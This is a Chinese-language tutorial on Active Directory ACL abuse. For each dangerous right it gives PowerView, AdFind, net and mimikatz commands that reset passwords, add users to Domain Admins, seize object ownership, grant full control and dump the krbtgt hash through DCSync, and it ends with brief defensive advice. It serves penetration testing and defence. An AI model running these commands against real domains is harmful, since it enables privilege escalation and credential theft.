Abusing AD ACL
字数 1375 2025-08-05 00:16:38
Active Directory ACL 滥用攻击技术详解
0x01 ACL 简介
Active Directory 访问控制列表(ACL)主要有两种类型:
- DACL (自由访问控制列表) - 负责权限访问控制
- SACL (系统访问控制列表) - 负责日志记录功能
每条规则称为 ACE (访问控制条目),由 SDDL (安全描述符定义语言) 定义。
0x02 攻击者感兴趣的对象权限
1. GenericAll (完全对象控制)
权限能力:
- 将用户添加到组
- 更改用户密码
- 向对象用户注册 SPN
利用示例:
# 查找对user1有GenericAll权限的用户
Get-ObjectAcl -SamAccountName user1 -ResolveGUIDs | ?{$_.ActiveDirectoryRights -eq "GenericAll"}
# 使用iis用户更改user1密码
net user user1 newpassword /domain
2. Self (Self-Membership)
权限能力:
- 自成员权限,可将自己添加到组
利用示例:
# 查找对Domain Admins组有WriteProperty权限的账号
Get-ObjectAcl -SamAccountName "CN=Domain Admins,CN=Users,DC=muxue,DC=com" -ResolveGUIDs
# 将自己加入域管组
net group "domain admins" user1 /add /domain
3. GenericWrite (通用写入)
权限能力:
- 更新目标对象参数值
- 设置msDS-AllowedToActOnBehalfOfOtherIdentity属性(用于基于资源的约束委派攻击)
利用示例:
# 查找对win7计算机有写入权限的用户
Get-ObjectAcl -SamAccountName win7 -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*write*"}
# 添加机器用户
net computer \\evilpc /add
4. AllExtendedRights (所有扩展权限)
权限能力:
- 执行AD扩展操作,如强制更改目标用户密码(ForceChangePassword)
利用示例:
# 查找有ForceChangePassword权限的用户
Get-ObjectAcl -SamAccountName user1 -ResolveGUIDs
# 重置用户密码
Set-DomainUserPassword -Identity user1 -AccountPassword (ConvertTo-SecureString "newpass" -AsPlainText -Force)
5. WriteProperty (写入属性)
权限能力:
- 将用户加入组
利用示例:
# 使用AdFind查找权限
AdFind.exe -b "CN=Domain Admins,CN=Users,DC=muxue,DC=com," ntsecuritydescriptor -sddlfilter ;;;;;iis -sddl+++ -recmute -sdna -s basea -s base
# 使用PowerView添加用户到组
Add-DomainGroupMember -Identity "Domain Admins" -Members user1
6. WriteOwner (写入所有者)
权限能力:
- 修改对象安全描述符的所有者
利用示例:
# 查找组的SID
AdFind.exe -b "CN=Domain Admins,CN=Users,DC=muxue,DC=com"
# 修改所有者
Set-DomainObjectOwner -Identity S-1-5-21-511003792-1237030605-620821399-512 -OwnerIdentity "iis" -Verbose
7. WriteDACL (写入DACL)
权限能力:
- 修改对象的权限
利用示例:
# 查找有WriteDacl权限的用户
Get-ObjectAcl -SamAccountName "acltest" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights-like "*dacl*"}
# 为iis用户添加GenericAll权限
Add-DomainObjectAcl -TargetIdentity acltest -PrincipalIdentity iis -Rights All -Verbose
8. DCSync (域复制权限)
所需权限:
- DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
- DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
- DS-Replication-Get-Changes-In-Filtered-Set (可选,GUID: 89e95b76-444d-4c62-991a-0facbeda640c)
利用示例:
# 使用mimikatz执行DCSync
mimikatz # lsadump::dcsync /domain:muxue.com /user:krbtgt
0x03 攻击技术组合与防御建议
攻击技术组合
- Exchange 中继攻击:结合Exchange服务器权限进行DCSync
- AdminSDHolder 攻击:利用AdminSDHolder容器的特殊权限特性
- 基于资源的约束委派:结合GenericWrite权限设置msDS-AllowedToActOnBehalfOfOtherIdentity
防御建议
- 定期审计Active Directory权限分配
- 实施最小权限原则
- 监控敏感权限变更
- 限制DCSync权限仅授予必要账户
- 定期检查AdminSDHolder对象权限
工具参考
- PowerView.ps1 - 用于查询和修改AD权限
- AdFind.exe - 轻量级AD查询工具
- Mimikatz - 用于凭证转储和DCSync攻击
- Rubeus - Kerberos攻击工具包
- Impacket - 网络协议攻击工具包
通过深入理解这些ACL权限及其滥用方式,安全团队可以更好地防御AD环境中的权限提升攻击,而红队则可以更有效地进行渗透测试。